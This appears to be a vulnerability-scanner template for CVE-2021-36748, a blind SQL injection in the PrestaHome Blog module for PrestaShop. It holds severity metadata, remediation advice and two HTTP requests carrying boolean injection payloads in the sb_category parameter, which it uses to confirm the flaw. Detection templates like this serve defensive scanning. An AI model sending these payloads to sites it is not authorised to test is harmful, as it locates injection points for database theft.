id: CVE-2021-36748

info:
  name: PrestaHome Blog for PrestaShop <1.7.8 - SQL Injection
  author: whoever
  severity: high
  description: PrestaHome Blog for PrestaShop prior to version 1.7.8 is vulnerable to a SQL injection (blind) via the sb_category parameter.
  remediation: |
    Upgrade to PrestaShop version 1.7.8 or later, or apply the provided patch to fix the SQL Injection vulnerability.
  reference:
    - https://blog.sorcery.ie/posts/ph_simpleblog_sqli/
    - https://alysum5.promokit.eu/promokit/documentation/blog/
    - https://blog.sorcery.ie
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36748
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-36748
    cwe-id: CWE-89
    epss-score: 0.00805
    epss-percentile: 0.79534
    cpe: cpe:2.3:a:prestahome:blog:*:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 2
    vendor: prestahome
    product: blog
    framework: prestashop
  tags: cve,cve2021,prestashop,prestahome,sqli,cms

http:
  - raw:
      - |
        GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20- HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "status_code_2 == 404"
          - 'contains(body_1, "prestashop")'
          - "contains(tolower(header_2), 'index.php?controller=404')"
          - "len(body_2) == 0"
        condition: and